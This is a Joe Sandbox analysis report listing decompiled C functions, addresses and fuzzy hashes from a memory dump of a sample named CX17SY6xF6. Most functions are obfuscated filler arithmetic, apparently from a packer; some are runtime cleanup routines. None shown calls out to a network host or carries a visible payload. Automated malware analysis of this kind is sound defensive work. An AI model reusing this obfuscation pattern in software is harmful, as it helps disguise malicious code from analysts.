				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _t324;
				signed int _t326;
				signed int _t328;
				intOrPtr _t336;
				signed int _t351;
				signed int _t376;
				signed int _t377;
				intOrPtr _t387;
				signed int _t389;
				signed int _t409;
				signed int _t423;
				signed int _t432;
				intOrPtr _t434;
				signed char _t475;
				signed int _t485;
				signed char _t493;
				signed short _t498;
				intOrPtr _t500;
				signed short _t504;
				signed int _t516;
				intOrPtr _t568;
				intOrPtr _t570;
				intOrPtr _t572;
				intOrPtr _t580;

				_v72 =  *((intOrPtr*)(_a8 + 0x74e0));
				_v12 = 0x11d7;
				_t475 =  *0x116dee4; // 0x0
				 *0x116dee4 = _t475 - 1;
				_t409 =  *0x116df30; // 0x0
				_v76 = ( *0x116dee4 & 0x000000ff) %  *(_a8 + _t409 * 4);
				_v80 =  *0x116def0 & 0x0000ffff | 0x00000fdd;
				_v5 = 0;
				_a4 = _a4 - 1;
				_v52 = _a4 / 0x1d70;
				_t324 =  *0x116ded8; // 0x0
				_v64 = _t324 %  *0x116df00;
				_t485 =  *0x116ded8; // 0x0
				_v84 = _t485;
				_t326 =  *0x116df14; // 0x0
				 *0x116df14 = _t326 + 1;
				_t328 =  *0x116dee8; // 0x0
				_v88 = _t328 %  *0x116df14;
				_v92 = _a4 / _a4;
				_a4 = _a4 - 1;
				_a4 = _a4 - 1;
				_v20 = _a4;
				_v40 = _a4 |  *0x116dee0;
				_v68 = 0x278;
				_t572 =  *0x116df20; // 0x0
				asm("cdq");
				_v36 = ( *0x116dee5 & 0x000000ff) /  *(_t572 + (_a4 << 1) * 4);
				_t493 =  *0x116dee6; // 0x0
				 *0x116dee6 = _t493 - 1;
				_v60 =  *0x116dee6 & 0x000000ff;
				_v16 = 0x7b4;
				_t336 =  *0x116df0c; // 0x0
				_v96 =  *(_t336 + _a4 * 4) ^ 0x0000117e;
				_v24 =  *((intOrPtr*)(_a8 + 0x16cc));
				_v48 = _a4;
				_v32 = ( *0x116def0 & 0x0000ffff) * _a4;
				_t498 =  *0x116def0; // 0x0
				 *0x116def0 = _t498 - 1;
				_a4 = _a4 - 1;
				_t423 =  *0x116df30; // 0x0
				_t500 =  *0x116df24; // 0x0
				_v56 =  *((intOrPtr*)(_t500 + 4 + _t423 * 4));
				_v100 = _a4;
				_v104 =  *0x116dee5 & 0x000000ff ^  *(_a8 + 0x1f2c);
				asm("cdq");
				_v28 = ( *0x116dee4 & 0x000000ff) % 0x17c;
				_t504 =  *0x116def0; // 0x0
				 *0x116def0 = _t504 - 1;
				_v44 = ( *0x116dee6 & 0x000000ff) *  *(_a8 + ( *0x116def0 & 0x0000ffff) * 4);
				_a4 = _a4 + 1;
				_t570 =  *0x116df20; // 0x0
				 *0x116dee4 = _a4 /  *(_t570 + 0x134c) % _a4 - ( *0x116dee4 & 0x000000ff);
				_t351 =  *0x116df18; // 0x0
				 *0x116df18 = _t351 - 1;
				asm("cdq");
				_t432 =  *0x116dee0; // 0x0
				asm("cdq");
				_t516 =  *0x116dee0; // 0x0
				 *(_v40 + _t516 * 4) = ( *(_v56 +  *0x116dee0 * 3 * 4) * 0x00001eb5 /  *0x116df10 ^  *0x116df18) /  *(_v40 + _t432 * 4);
				_t434 =  *0x116dedc; // 0x0
				 *((intOrPtr*)(_v36 + _v32 * 3 * 4)) = 0xa9c -  *((intOrPtr*)(_t434 + 0x24f8)) -  *((intOrPtr*)(_v36 + _v32 * 3 * 4));
				 *((intOrPtr*)(_v52 + _v32 * 4)) =  *(_a8 + 0x3f10) ^  *(_v36 + (_v12 & 0x0000ffff) * 4) ^  *(_v52 + _v32 * 4);
				 *((intOrPtr*)(_a8 + _v32 * 4)) = 0xdd9 % _a4 / ( *0x116dee4 & 0x000000ff) +  *((intOrPtr*)(_a8 + _v32 * 4));
				 *((intOrPtr*)(_a8 + _a4 * 4)) = ( *(_v48 + _v32 * 3 * 4) ^ 0x00000798) * _v32 +  *((intOrPtr*)(_a8 + _a4 * 4));
				_v44 = _v44 - 1;
				_v5 =  *((intOrPtr*)(_v40 + _v44 * 3 * 4)) + (_v12 & 0x0000ffff) ^ 0x00000f02;
				 *((intOrPtr*)(_v36 + (_v20 & 0x0000ffff) * 3 * 4)) =  *(_v36 + (_v20 & 0x0000ffff) * 3 * 4) ^ 0x000002b7;
				_t376 =  *0x116df00; // 0x0
				if( *((intOrPtr*)(_a8 + _a4 * 3 * 4)) !=  *((intOrPtr*)(_v40 + _t376 * 4))) {
					_t377 =  *0x116df00; // 0x0
					_v68 = _t377;
					_v16 = _v16 + 1;
					asm("cdq");
					 *((intOrPtr*)(_v36 + ((_v12 & 0x0000ffff) << 1) * 4)) = (_v16 & 0x0000ffff ^ 0x00000a3c) % ( *0x116dee4 & 0x000000ff) *  *(_v36 + ((_v12 & 0x0000ffff) << 1) * 4);
					_v12 = _v12 - 1;
					_v32 = _v32 - 1;
					_t387 =  *0x116def8; // 0x0
					return _t387 -  *((intOrPtr*)(_a8 + _v32 * 4));
				}
				_t389 =  *0x116df14; // 0x0
				 *(_a8 +  *0x116df30 * 3 * 4) = _t389 /  *(_a8 +  *0x116df30 * 3 * 4);
				 *0x116df14 = (_a4 &  *(_a8 + 0x64 + _a4 * 4)) +  *0x116df14;
				 *(_v48 + _a4 * 4) = 0x1992 %  *(_v48 + _a4 * 4);
				_v24 = (_a4 ^ 0x00000dbd) % _a4;
				_a4 = _a4 - 1;
				 *((intOrPtr*)(_a8 + _a4 * 4)) = _v32 %  *(_v60 + _a4 * 4);
				_t580 =  *0x116dedc; // 0x0
				_v44 =  *(_v64 + (_v32 << 1) * 4) |  *(_t580 + 8 + _a4 * 4);
				 *((intOrPtr*)(_a8 + (_v12 & 0x0000ffff) * 4)) = _a4 -  *(_a8 + _a4 * 4) ^  *(_a8 + (_v12 & 0x0000ffff) * 4);
				_v32 = _v32 - 1;
				_t568 =  *0x116def8; // 0x0
				return _t568 -  *((intOrPtr*)(_a8 + _v32 * 4));
			}

0x010e7e99
0x010e7ea1
0x010e7ea5
0x010e7eae
0x010e7ebb
0x010e7ec9
0x010e7ed9
0x010e7edc
0x010e7ee6
0x010e7ef5
0x010e7ef8
0x010e7f05
0x010e7f08
0x010e7f0e
0x010e7f11
0x010e7f19
0x010e7f1e
0x010e7f2b
0x010e7f36
0x010e7f3f
0x010e7f48
0x010e7f4f
0x010e7f5c
0x010e7f5f
0x010e7f72
0x010e7f78
0x010e7f7c
0x010e7f7f
0x010e7f88
0x010e7f95
0x010e7f9d
0x010e7fa4
0x010e7fb2
0x010e7fc7
0x010e7fce
0x010e7fdc
0x010e7fdf
0x010e7fea
0x010e7ff7
0x010e7ffa
0x010e8000
0x010e800a
0x010e8010
0x010e802b
0x010e8035
0x010e803d
0x010e8041
0x010e804c
0x010e8068
0x010e8071
0x010e8086
0x010e809b
0x010e80a1
0x010e80a9
0x010e80bf
0x010e80cc
0x010e80d5
0x010e80d9
0x010e80e2
0x010e80f0
0x010e810f
0x010e813c
0x010e8165
0x010e818b
0x010e8194
0x010e81ad
0x010e81cc
0x010e81d3
0x010e81e4
0x010e82c5
0x010e82ca
0x010e82d5
0x010e82e9
0x010e8302
0x010e830d
0x010e8317
0x010e8320
0x00000000
0x010e8325
0x010e81f4
0x010e8208
0x010e821e
0x010e823a
0x010e824a
0x010e8254
0x010e826b
0x010e8279
0x010e8286
0x010e82a6
0x010e82af
0x010e82b8
0x00000000

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 107b39615479c657c3153bc73499c8ae749a25bdfddf441bac328a0104a5c8e3
Instruction ID: 3b178e451387a39cddc6411c3f1c79343debf237e550cbe784bc5ef05692f547
Opcode Fuzzy Hash: 107b39615479c657c3153bc73499c8ae749a25bdfddf441bac328a0104a5c8e3
Instruction Fuzzy Hash: 23F14F74A04118DFCB18CF99D4909ADBBB2FF9D304F14C16AE865AB358C776A991CF80

Uniqueness

Uniqueness Score: -1.00%

Function 010D89DE Relevance: .3, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20ccaebaf981a19413a1b625653d5be60b5b52c72d6661771b4a52b9a6544ae1
Instruction ID: b50d19a1f70a86362f598c9d60582e1e76cb3505e74c86f2128b74e71e1a1628
Opcode Fuzzy Hash: 20ccaebaf981a19413a1b625653d5be60b5b52c72d6661771b4a52b9a6544ae1
Instruction Fuzzy Hash: E3B1F020E2AF414DD2379A39883133AB65CAFBB2D5F51D72BFC6674D16EB2285D34240

Uniqueness

Uniqueness Score: -1.00%

Function 010E8850 Relevance: .2, Instructions: 240
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E010E8850(intOrPtr _a4, signed int _a8, signed int _a20, intOrPtr _a24, intOrPtr _a28) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _t152;
				intOrPtr _t166;
				intOrPtr _t168;
				intOrPtr _t171;
				intOrPtr _t182;
				intOrPtr _t197;
				intOrPtr _t234;
				intOrPtr _t272;
				intOrPtr _t290;
				intOrPtr _t301;
				intOrPtr _t306;
				intOrPtr _t307;
				intOrPtr _t312;
				intOrPtr _t316;

				_v36 = _a24 - 0xe5;
				_v16 = _a28 - 0x2674;
				_v20 = _a24 - 0x191;
				_v24 = _a28 + 0x1c6;
				_v32 = _a8 ^ 0x0000002f;
				_v28 = _a8 - 0x2796;
				_v12 = _a28 + 0x1c6;
				_v8 = _a20;
				if(_v32 <= _v8 + 0x65) {
					_t152 =  *0x116d5ec; // 0x116d5f0
					_t312 =  *0x116d6a0; // 0x0
					if( *0x01D1B271 < (_t312 +  *((intOrPtr*)(_t152 + 0xd4)) | 0x00002565)) {
						_v20 = _v20 -  *((intOrPtr*)(_a4 + 0xbadbc1)) +  *(_a4 + 0xf4);
					} else {
						if(_v36 >= ( *(_a4 + 0x30) & 0x000025a0) &&  *0x01D1B241 >=  *0x01D1B1DD -  *((intOrPtr*)(_a4 + 0x68))) {
							_t272 =  *0x116d5ec; // 0x116d5f0
							_v12 = ( *((intOrPtr*)(_t272 + 0xbadbfd)) - 0x25a0) * _v12;
							_t166 =  *0x116d5ec; // 0x116d5f0
							_v28 = (_v8 ^  *(_t166 + 0xd4)) * _v8 | _v28;
							_t168 =  *0x116d5ec; // 0x116d5f0
							_v60 = (_v12 ^ _v16) +  *((intOrPtr*)(_t168 + 0xa4));
							_v56 = _a4;
							_v52 = _v32 | 0x00002674;
							_v48 = _v16 ^ _v12;
							_v44 = _v20 & _v8;
							_t171 =  *0x116d5ec; // 0x116d5f0
							_t119 = _t171 + 0x8c; // 0x0
							_v40 =  *0x01D1B219 -  *_t119;
							_v16 = E010E5EA0(_v60, _v56, _v52, _v48, _v44, _v40);
							 *0x116d62c = ( *(_a4 + 0x40) & _v12) *  *0x116d62c;
							 *(_a4 + 0xb0) = _v8 & 0x00002628 ^  *(_a4 + 0xb0);
						}
					}
				} else {
					 *(_a4 + 0xb4) =  *(_a4 + 0xb4) * 0x43f95;
					_v24 = _v24 - 0x39;
					_t234 =  *0x116d5ec; // 0x116d5f0
					if( *((intOrPtr*)(_t234 + 0x78)) < 0x387f) {
						 *(_a4 + 0xbadbfd) =  *(_a4 + 0xbadbfd) | 0x00114117;
					}
					_t182 =  *0x116d5ec; // 0x116d5f0
					_t33 = _t182 + 0xec; // 0xe608d
					if( *_t33 !=  *((intOrPtr*)(_a4 + 0x7c))) {
						_t307 =  *0x116d5ec; // 0x116d5f0
						 *(_a4 + 0xf4) =  *((intOrPtr*)(_t307 + 0xbadc71)) + 0x45d2;
					}
					_t290 =  *0x116d5ec; // 0x116d5f0
					if( *((intOrPtr*)(_t290 + 0xb4)) != 0x425f) {
						_t306 =  *0x116d5ec; // 0x116d5f0
						_t46 = _t306 + 0xec; // 0xe608d
						_t197 =  *0x116d5ec; // 0x116d5f0
						 *(_t197 + 0xec) =  *((intOrPtr*)(_a4 + 0x9c)) -  *((intOrPtr*)(_a4 + 0xbadc71)) + 0x000e606d ^  *_t46;
					}
					if( *((intOrPtr*)(_a4 + 0x10)) <= 0x122a8) {
						 *((intOrPtr*)(_a4 + 0x3c)) = 0x161485;
					}
					if( *(_a4 + 0xb4) != 0x111b0) {
						_t301 =  *0x116d5ec; // 0x116d5f0
						_t316 =  *0x116d5ec; // 0x116d5f0
						_t55 = _t301 + 0xe0; // 0xfffe3a5b
						 *((intOrPtr*)(_a4 + 0x14)) = ( *_t55 ^  *(_t316 + 0xa4)) +  *((intOrPtr*)(_a4 + 0x14)) + 0x1895d7;
					}
					 *0x116d668 =  *((intOrPtr*)(_a4 + 0xb8)) + 0x00107368 |  *0x116d668;
					if( *((intOrPtr*)(_a4 + 0x8c)) <= 0xb84a) {
						 *0x116d6b0 = 0x6f;
					} else {
						 *(_a4 + 0x40) =  *(_a4 + 0xe4) ^  *(_a4 + 0xf4) ^ 0x00014d63 ^  *(_a4 + 0x40);
					}
				}
				return _v8 ^ 0x000003bc;
			}

0x010e885f
0x010e886b
0x010e8877
0x010e8882
0x010e888b
0x010e8897
0x010e88a2
0x010e88a8
0x010e88b4
0x010e8a91
0x010e8a96
0x010e8aaf
0x010e8c1b
0x010e8ab5
0x010e8acd
0x010e8b0c
0x010e8b1f
0x010e8b2a
0x010e8b40
0x010e8b51
0x010e8b5d
0x010e8b63
0x010e8b6f
0x010e8b78
0x010e8b81
0x010e8b8c
0x010e8b97
0x010e8b9d
0x010e8bc0
0x010e8bdc
0x010e8bf6
0x010e8bf6
0x010e8bfc
0x010e88ba
0x010e88ca
0x010e88d6
0x010e88d9
0x010e88e6
0x010e8908
0x010e8908
0x010e8914
0x010e891c
0x010e8926
0x010e892f
0x010e8944
0x010e8944
0x010e894a
0x010e895a
0x010e897c
0x010e8982
0x010e8988
0x010e898d
0x010e898d
0x010e89a6
0x010e89ab
0x010e89ab
0x010e89bf
0x010e89d1
0x010e89d7
0x010e89dd
0x010e8a03
0x010e8a03
0x010e8a25
0x010e8a38
0x010e8a72
0x010e8a3a
0x010e8a6c
0x010e8a6c
0x010e8a7c
0x010e8c2a

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d952cf54786b2cd35b11213cd0dfd9da8dba06f6305eb102a81f72767b9c6424
Instruction ID: 6c14b836d883b8678e0e330439dfee9be22e652047d4fa5d8a018f2bdcd29892
Opcode Fuzzy Hash: d952cf54786b2cd35b11213cd0dfd9da8dba06f6305eb102a81f72767b9c6424
Instruction Fuzzy Hash: C9C14B70A001059FEB08CF58D594BADBBB2FB88304F14C27AEA599F795C735E981CB84

Uniqueness

Uniqueness Score: -1.00%

Function 010D14C0 Relevance: .1, Instructions: 139
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E010D14C0(signed int _a4, signed int _a8, signed int _a20, intOrPtr _a24, intOrPtr _a28) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				intOrPtr _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				signed int _t112;
				intOrPtr _t113;
				intOrPtr _t114;
				intOrPtr _t129;
				intOrPtr _t149;
				intOrPtr _t159;
				intOrPtr _t172;
				intOrPtr _t174;
				void* _t175;

				_v20 = _a20 ^ 0x000003de;
				_v28 = _a20 ^ 0x000002ad;
				_v64 = _a4 - 0x26e5;
				_v68 = _a8 + 0x261;
				_v12 = _a8 ^ 0x00000236;
				_v24 = _a24 + 0xd9;
				_v8 = _a4 ^ 0x00000ee4;
				_v32 = _a8 ^ 0x00000327;
				if( *((intOrPtr*)(_a28 + 0x74)) ==  *((intOrPtr*)(_a28 + 0xb4))) {
					_t174 =  *0x116d5ec; // 0x116d5f0
					_t25 = _t174 + 0x5c; // 0x4b420
					_t149 =  *0x116d5ec; // 0x116d5f0
					 *((intOrPtr*)(_t149 + 0x5c)) =  *_t25 -  *((intOrPtr*)(_a28 + 0xb8)) + 0x44559;
				}
				if(_v8 >= (_v12 ^ 0x00000236)) {
					if(_v8 < (_v28 ^ 0x000001b4)) {
						_v16 = _v20;
						while(1) {
							_t159 =  *0x116d5ec; // 0x116d5f0
							_t42 = _t159 + 0xb4; // 0x0
							if(_v16 >= ( *0x01D1B205 |  *_t42) - _v20) {
								goto L11;
							}
							if( *((intOrPtr*)(_a28 + 0xbadbdd)) <= (_v8 ^ 0x00002565)) {
								_t129 =  *0x116d5ec; // 0x116d5f0
								_v60 = _t129;
								_v56 = _v28 + _v8 |  *(_a28 + 0x7c);
								_v52 = _v24 - _v8;
								_v48 =  *(_a28 + 0x78) | 0x00002633;
								_v44 = ( *(_a28 + 0x3c) |  *(_a28 + 0xe4)) & _v8;
								_v40 = (_v24 ^ 0x0000283a) & 0x000026e5;
								_v36 = _v20 + _v32 - 0x2674;
								_t112 = E010E8850(_v60, _v56, _v52, _v48, _v44, _v40, _v36);
								_t175 = _t175 + 0x1c;
								_v24 = _t112;
							}
							_v16 = _v16 + 2;
						}
					} else {
						_t113 =  *0x116d5ec; // 0x116d5f0
						_t172 =  *0x116d5ec; // 0x116d5f0
						_t33 = _t172 + 0x5c; // 0x4b420
						_t114 =  *0x116d5ec; // 0x116d5f0
						 *(_t114 + 0x5c) =  *(_t113 + 0xfc) ^ 0x0002ccfe ^  *_t33;
						_v12 = _v12 + 0x23;
					}
				}
				L11:
				return _v12 - 0x254;
			}

0x010d14ce
0x010d14da
0x010d14e6
0x010d14f1
0x010d14fd
0x010d1509
0x010d1514
0x010d1520
0x010d153b
0x010d1555
0x010d155b
0x010d1560
0x010d1566
0x010d1566
0x010d1575
0x010d1586
0x010d15c4
0x010d15d2
0x010d15da
0x010d15e6
0x010d15f2
0x00000000
0x00000000
0x010d1610
0x010d1616
0x010d161c
0x010d1634
0x010d163d
0x010d164b
0x010d1660
0x010d1672
0x010d1682
0x010d16a1
0x010d16a6
0x010d16a9
0x010d16a9
0x010d15cf
0x010d15cf
0x010d1588
0x010d1590
0x010d15a2
0x010d15a8
0x010d15ab
0x010d15b0
0x010d15b9
0x010d15b9
0x010d1586
0x010d16b1
0x010d16bc

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c03f109cdae7340c0dccf87c064ef5462035fe7267539351b9fdc6b29a7118f
Instruction ID: 3591e1690de3afd7ce8d420c18b64044041db4b1bba167a0f08bdfaa61db5c26
Opcode Fuzzy Hash: 9c03f109cdae7340c0dccf87c064ef5462035fe7267539351b9fdc6b29a7118f
Instruction Fuzzy Hash: A061FA70A00109DFDB08CF98D590AAEBBF5FF4C304F55826AE955AB355C734A941CF84

Uniqueness

Uniqueness Score: -1.00%

Function 010DAC2C Relevance: 19.6, APIs: 13, Instructions: 114
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E010DAC2C(intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _t25;
				intOrPtr* _t26;
				intOrPtr _t28;
				intOrPtr* _t29;
				intOrPtr* _t31;
				intOrPtr* _t45;
				intOrPtr* _t46;
				intOrPtr* _t47;
				intOrPtr* _t55;
				intOrPtr* _t70;
				intOrPtr _t74;

				_t74 = _a4;
				_t25 =  *((intOrPtr*)(_t74 + 0x88));
				if(_t25 != 0 && _t25 != 0x116dd10) {
					_t45 =  *((intOrPtr*)(_t74 + 0x7c));
					if(_t45 != 0 &&  *_t45 == 0) {
						_t46 =  *((intOrPtr*)(_t74 + 0x84));
						if(_t46 != 0 &&  *_t46 == 0) {
							E010DA6DA(_t46);
							E010DBA92( *((intOrPtr*)(_t74 + 0x88)));
						}
						_t47 =  *((intOrPtr*)(_t74 + 0x80));
						if(_t47 != 0 &&  *_t47 == 0) {
							E010DA6DA(_t47);
							E010DBB90( *((intOrPtr*)(_t74 + 0x88)));
						}
						E010DA6DA( *((intOrPtr*)(_t74 + 0x7c)));
						E010DA6DA( *((intOrPtr*)(_t74 + 0x88)));
					}
				}
				_t26 =  *((intOrPtr*)(_t74 + 0x8c));
				if(_t26 != 0 &&  *_t26 == 0) {
					E010DA6DA( *((intOrPtr*)(_t74 + 0x90)) - 0xfe);
					E010DA6DA( *((intOrPtr*)(_t74 + 0x94)) - 0x80);
					E010DA6DA( *((intOrPtr*)(_t74 + 0x98)) - 0x80);
					E010DA6DA( *((intOrPtr*)(_t74 + 0x8c)));
				}
				E010DAD9F( *((intOrPtr*)(_t74 + 0x9c)));
				_t28 = 6;
				_t55 = _t74 + 0xa0;
				_v8 = _t28;
				_t70 = _t74 + 0x28;
				do {
					if( *((intOrPtr*)(_t70 - 8)) != 0x116d7d0) {
						_t31 =  *_t70;
						if(_t31 != 0 &&  *_t31 == 0) {
							E010DA6DA(_t31);
							E010DA6DA( *_t55);
						}
						_t28 = _v8;
					}
					if( *((intOrPtr*)(_t70 - 0xc)) != 0) {
						_t29 =  *((intOrPtr*)(_t70 - 4));
						if(_t29 != 0 &&  *_t29 == 0) {
							E010DA6DA(_t29);
						}
						_t28 = _v8;
					}
					_t55 = _t55 + 4;
					_t70 = _t70 + 0x10;
					_t28 = _t28 - 1;
					_v8 = _t28;
				} while (_t28 != 0);
				return E010DA6DA(_t74);
			}

0x010dac34
0x010dac38
0x010dac40
0x010dac49
0x010dac4e
0x010dac55
0x010dac5d
0x010dac65
0x010dac70
0x010dac76
0x010dac77
0x010dac7f
0x010dac87
0x010dac92
0x010dac98
0x010dac9c
0x010daca7
0x010dacad
0x010dac4e
0x010dacae
0x010dacb6
0x010dacc9
0x010dacdc
0x010dacea
0x010dacf5
0x010dacfa
0x010dad03
0x010dad0b
0x010dad0c
0x010dad12
0x010dad15
0x010dad18
0x010dad1f
0x010dad21
0x010dad25
0x010dad2d
0x010dad34
0x010dad3a
0x010dad3b
0x010dad3b
0x010dad42
0x010dad44
0x010dad49
0x010dad51
0x010dad56
0x010dad57
0x010dad57
0x010dad5a
0x010dad5d
0x010dad60
0x010dad63
0x010dad63
0x010dad75

APIs

___free_lconv_mon.LIBCMT ref: 010DAC70

Part of subcall function 010DBA92: _free.LIBCMT ref: 010DBAAF
Part of subcall function 010DBA92: _free.LIBCMT ref: 010DBAC1
Part of subcall function 010DBA92: _free.LIBCMT ref: 010DBAD3
Part of subcall function 010DBA92: _free.LIBCMT ref: 010DBAE5
Part of subcall function 010DBA92: _free.LIBCMT ref: 010DBAF7
Part of subcall function 010DBA92: _free.LIBCMT ref: 010DBB09
Part of subcall function 010DBA92: _free.LIBCMT ref: 010DBB1B
Part of subcall function 010DBA92: _free.LIBCMT ref: 010DBB2D
Part of subcall function 010DBA92: _free.LIBCMT ref: 010DBB3F
Part of subcall function 010DBA92: _free.LIBCMT ref: 010DBB51
Part of subcall function 010DBA92: _free.LIBCMT ref: 010DBB63
Part of subcall function 010DBA92: _free.LIBCMT ref: 010DBB75
Part of subcall function 010DBA92: _free.LIBCMT ref: 010DBB87

_free.LIBCMT ref: 010DAC65

Part of subcall function 010DA6DA: HeapFree.KERNEL32(00000000,00000000,?,010DBC27,?,00000000,?,00000000,?,010DBC4E,?,00000007,?,?,010DADC4,?), ref: 010DA6F0
Part of subcall function 010DA6DA: GetLastError.KERNEL32(?,?,010DBC27,?,00000000,?,00000000,?,010DBC4E,?,00000007,?,?,010DADC4,?,?), ref: 010DA702

_free.LIBCMT ref: 010DAC87
_free.LIBCMT ref: 010DAC9C
_free.LIBCMT ref: 010DACA7
_free.LIBCMT ref: 010DACC9
_free.LIBCMT ref: 010DACDC
_free.LIBCMT ref: 010DACEA
_free.LIBCMT ref: 010DACF5
_free.LIBCMT ref: 010DAD2D
_free.LIBCMT ref: 010DAD34
_free.LIBCMT ref: 010DAD51
_free.LIBCMT ref: 010DAD69

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 80e1d9d63e2fb1c0b444ab5e5970d066c4ac4b3ba237c83e5f5a67c18e8a3758
Instruction ID: 71b26d9bb23be3544f87b2844825684e7e13f39098d15c6559e581ff1ca50786
Opcode Fuzzy Hash: 80e1d9d63e2fb1c0b444ab5e5970d066c4ac4b3ba237c83e5f5a67c18e8a3758
Instruction Fuzzy Hash: E1316D3170430ADFEF61AA38D904B9A77E8FF642A1F105859E4C9D75A0DB31E8809B24

Uniqueness

Uniqueness Score: -1.00%

Function 010D9B3C Relevance: 15.1, APIs: 10, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E010D9B3C(char _a4) {
				char _v8;

				_t26 = _a4;
				_t52 =  *_a4;
				if( *_a4 != 0x1127298) {
					E010DA6DA(_t52);
					_t26 = _a4;
				}
				E010DA6DA( *((intOrPtr*)(_t26 + 0x3c)));
				E010DA6DA( *((intOrPtr*)(_a4 + 0x30)));
				E010DA6DA( *((intOrPtr*)(_a4 + 0x34)));
				E010DA6DA( *((intOrPtr*)(_a4 + 0x38)));
				E010DA6DA( *((intOrPtr*)(_a4 + 0x28)));
				E010DA6DA( *((intOrPtr*)(_a4 + 0x2c)));
				E010DA6DA( *((intOrPtr*)(_a4 + 0x40)));
				E010DA6DA( *((intOrPtr*)(_a4 + 0x44)));
				E010DA6DA( *((intOrPtr*)(_a4 + 0x360)));
				_v8 =  &_a4;
				E010D9A02(5,  &_v8);
				_v8 =  &_a4;
				return E010D9A52(4,  &_v8);
			}

0x010d9b42
0x010d9b45
0x010d9b4d
0x010d9b50
0x010d9b55
0x010d9b58
0x010d9b5c
0x010d9b67
0x010d9b72
0x010d9b7d
0x010d9b88
0x010d9b93
0x010d9b9e
0x010d9ba9
0x010d9bb7
0x010d9bbf
0x010d9bc8
0x010d9bd0
0x010d9be4

APIs

_free.LIBCMT ref: 010D9B50

